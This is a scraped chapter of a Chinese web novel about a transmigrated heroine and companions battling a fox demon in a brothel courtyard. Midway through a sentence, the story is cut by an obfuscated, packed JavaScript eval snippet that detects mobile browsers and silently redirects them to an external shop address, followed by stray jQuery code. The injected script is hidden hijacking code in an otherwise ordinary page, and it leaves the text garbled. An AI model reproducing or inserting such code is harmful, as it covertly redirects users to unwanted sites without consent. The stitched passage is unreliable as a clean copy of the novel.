文趣网 > 都市小说 > 今天我ooc了吗 > 10. 十
    成霜凝被一巴掌推回了现实,她的目光开始清明,等她意识到自己被谁搂在怀里的时候,立马挣脱了出去。

    谢珏看着自己空空的双手,笑了笑。

    成霜凝已经不记得自己刚刚梦到什么了,面对众人的关心和询问,她都听不懂,一个字也听不懂。

    “你刚才还哭了。”纪凌云在一旁悠悠地道。

    “我又又又哭了?”她抬手往自己眼角擦去,没有摸到任何潮湿,等意识到是谁给她擦了泪痕以后,她更尴尬了。

    对于这三个“又又又”,纪凌云也不知道她到底经历了什么,说:“你这几个又,是为什么?”

    “因为天生是水做的,格外爱哭。”说完这句话,成霜凝意识到自己又ooc了,本以为熟悉的系统声会再次响起,可就和之前一样,什么事情都没有发生。

    一堆人都被这突如其来的插曲打乱了节奏,但这也证明,谢珏“等”的决策做的是对的,虽然那血皮子依旧没有选择现身,同他们正面交锋。

    这下,所有人都不敢坐着了,都怕自己生了困意,被困在幻境里。

    一堆人站着闲聊,聊些有的没的,聊些家长里短,纪凌云就差把自己爹年轻时的风流轶事都讲一遍。

    “噔噔噔。”

    花满楼外面传来了阵阵拐杖敲地的声音,伴随着的还有一轻一重的脚步声,一下清脆一下沉重,像是个跛子。

    那人的脚步在还没被修缮好的洞口停下,所有人都看见了那个人长什么样子。

    他身穿破破烂烂的衣服,左脚长右脚短,一头花白的乱发顶在头上,侧脸上全是褶子,低着头,看不见正脸。

    身上冒出了一阵又一阵的死气。

    所有人顿感不对,将嘴上的闲聊话题停了下来,如临大敌看着买门口那个停止不动的老人。

    能在妖祸横行的京城里,拄着一根拐杖到处走,他绝对不是人。

    而是妖。

    那非人的东西一下都不动,只是站在那里,压迫感如同实质。

    成霜凝这次学会先把自己的霜寒剑握在手里,来应对突发情况。

    “哎?如烟呢?”身后的老鸨传来一声疑问。

    如烟刚刚还在她身边,现在连个人影儿也看不着了。

    坏了!

    成霜凝转头看去,没有人,她抬头看去,也空空如也。

    让“血皮子”跑了!

    一阵异香不知从何处冒出,侵入在场每一个人的皮肤,抬手用袖子遮,香味依旧浓郁。

    纪凌云作为药谷传人,一闻这香就知大事不妙,对众人说:“屏住呼吸,封穴!这是狐妖魅香。”

    成霜凝还没学到封穴这块,她只能用袖子竭力遮挡,脑子变得越来越晕乎乎。

    谢珏走到她身后,在她的背部点了几下,在穴点完的那一刻,魅香暂时被彻底隔绝在外。

    “找到狐妖,不然我们都得中妖毒。”纪凌云道。

    零七过去给老鸨和姑娘们点了穴,他们没什么功力,撑不久,寻找狐妖变得更加迫切。

    前门和破洞一直有人看着,狐妖绝对不可能从此处跑,楼上的房门也是紧闭着,要出去会发出极大的声响。

    外院!

    昨天那些死去的杂役从中出来,通往外院的门就没关过。

    因为前厅还需要有人守着,所以最后一合计,成霜凝,纪凌云和徐洋三人去外院抓狐妖,留下谢氏兄弟以及零七在前。

    安排是徐洋安排的,他对谢珏有忌惮,不肯叫他一同去。

    推开外院门,入眼可见的是一方小院,门都大敞着。

    院子的中心有一口水井。

    现在那水井旁站了一个女人。

    她拿着梳子梳着自己乌黑的长发,血红的长指甲从头发缝隙中隐隐约约露出。

    她头顶的大红牡丹还在,就在开门的那一刻,以肉眼可见的速度凋谢去。

    她说:“我在这里等你们快一柱香啦,来的好慢呀,就和那些负心的男人一样,让我等了一年又一年~”话尾,她的声音里带了哭腔,听起来真的很委屈。

    纪凌云没忍住偷摸翻了个白眼,拆穿她:“那是都被你吃进了肚子里。”

    梳着头发的手顿住,木梳掉落在地,狐妖的背部开始抽搐,她用手捂住了脸,声音颤抖:“你认得我?那你不要说了。”

    话落,她猛然转头,露出了一张全是青筋的脸,完全不见之前的姣好容貌。

    “我好不容易才忘掉了那些男人的美味,你可千万不要让我想起来啊!”

    “嗯对,狐妖的耻辱,百年前叛变狐妖一族,修炼邪术以男人幼童为食,”纪凌云歪头看她,挑衅意味拉满,“怎么现在还需要在花楼里当花魁呢?”

    如烟听了这话,显然是戳到了痛处,她仰头长笑,还没笑完,就从她身边升起了许多红绫,那红绫似有生命,在空中飘舞,遮天蔽日,将本就昏暗的月光遮了个严实。

    后院未点灯,失去那微弱的月光照亮,整个院子彻底陷入了黑暗,彼此之间只能依稀辨认出几个人影。

    霜寒剑为极地寒石所铸造,不仅通体寒冷,而且正是因为这极寒的属性,所以自剑锋发出淡蓝色荧光。

    因为看不见,三人背靠背,提着剑环顾四周。

    “燃火!”纪凌云念咒,自掌心升起一团火焰,燃烧不到一秒,一阵阴风吹来,掌心的火就被吹灭了,她的右耳边传来一阵轻轻的笑声,幽怨而嘲弄,她能感觉女人的长甲自她脸颊划过,在她脸上留下一道白痕。

    纪凌云飞快朝着自己右侧刺去,刺了一场空。

    如烟轻盈,瞬时到了成霜凝面前,成霜凝面前出现了一双血红的眸子,眸子里的恨意快要溢了出来,如烟说:“我不讨厌女人,我不动你们俩,你们,自有别人杀。”

    成霜凝出剑挑断了她半块衣角,血红的衣角同雪白的剑锋缠绕,极为显眼。

    徐洋手中有一把短刃,是当时出师时师父留给他自保的,他能感觉到如烟的笑声离他越来越近,身后的窥视感越来越重。

    “徐洋,你小心,她的目标是你!”纪凌云见她和成霜凝都被这女妖短暂的放过,连忙提醒徐洋。

    已经晚了,徐洋感觉到两条腿缠绕在了他的腰间,一双长手捏住了他的肩膀,自肩膀缓慢的想要掐住他的脖子,一边做这些一

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500532|202708||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    边说:“太子陛下,我从来还没有吃过像您这么尊贵的人呢,您不如告诉我......”

    “您的味道怎么样?”

    刚说完,尖锐的指甲就向着他的咽喉刺去。

    徐洋左肘向后打去,右手短刃反拿,刺向已经爬到自己胸口的那只手,速度之快,无论是趴在他背后的狐妖,还是其余二人,都没有看清。

    被刺中的痛苦叫女妖尖叫出声,她被刺穿的左臂,竟未留下一滴血,内部就像干枯的柴火,昭示着其生命力的缺失,她对于新血液的渴望。

    红绫自天上倾流而下,成霜凝和纪凌云飞快将红绫斩断,但终究比不上红绫生长速度,不过片刻,红绫就向徐洋飞快围去,将女妖和他一同包裹在了里面。

    “徐洋!”微弱的月光自红绫撤走以后,就得以照亮面前物,纪凌云在看到徐洋被关进去的那一刻慌了神,手提重剑就跑了过去,向上劈,那红绫柔软而坚韧,一剑劈下去毫无损伤。

    她一反常态,明明同徐洋相识不算久,甚至还甚是讨厌他,但这一刻眼里盈了泪,机械式地向上劈去:“徐洋,是我先不要你的,你不能死!”

    成霜凝离得还算远,她还不会轻功,速度很慢,等到了跟前,纪凌云已经往上砍了几十下。

    成霜凝也提起剑向上劈,巨大的弹力叫她飞快向后飞去,向后踉跄了好几步,把霜寒剑插在地上才勉强站稳,而远处的纪凌云像是感觉不到。

    她记得,原书中女主最一开始的战斗力没有这么强悍啊,故事的最开始,男女主打怪都是被怪打,最后狗运把怪灭掉,升级流男女主啊。

    她将霜寒剑从地上拔起,没有再动,因为很明显,蛮力对着红绫压根没用,还会消耗她们自身的体力。

    原书中这妖怪并没有用过这一法宝,不知道是不是因为时间线的问题所以导致了这一误差。

    就在她一筹莫展之时,她发现了地上的蚂蚁。

    那些蚂蚁,仿佛并没有看到那团红绫,竟从下面穿了过去。

    一个惊人的想法冲击了她的脑海,如果她的猜测是真的,那么徐洋就能得救。

    她一把抓住了纪凌云的手,纪凌云不知道她要什么,甩开她还要继续,成霜凝道:“你若是再继续,他真的要死了。”

    没等纪凌云说话,她就冲着里面喊:“徐洋你放弃挣扎,你直接伸手出来!”

    她在赌。

    赌这红绫只要不用力就能视作无物。

    里面传来沉重的喘息声,徐洋拼尽全力才护住了自己一条命,他的短刃已经掉落在地。

    浑身上下都是他的血,视线也被血糊住了,模糊不清。

    他听到这话,不抱希望的将手向红绫伸去。

    他没有触摸到任何东西,他向自己的手看去,看到了自己的手没入了红绫内,并随着他的动作慢慢往出移。

    他感觉到的不是柔软的绫缎,是晚春微凉的风,是自然流动的空气,是自由的世界,还是一双温热的手。

    纪凌云抓住了他的手,用尽全身力气把他向外拉,在人出来的那一刻,她哭得很惨,她说:

    “我以为,我要再次失去你了。”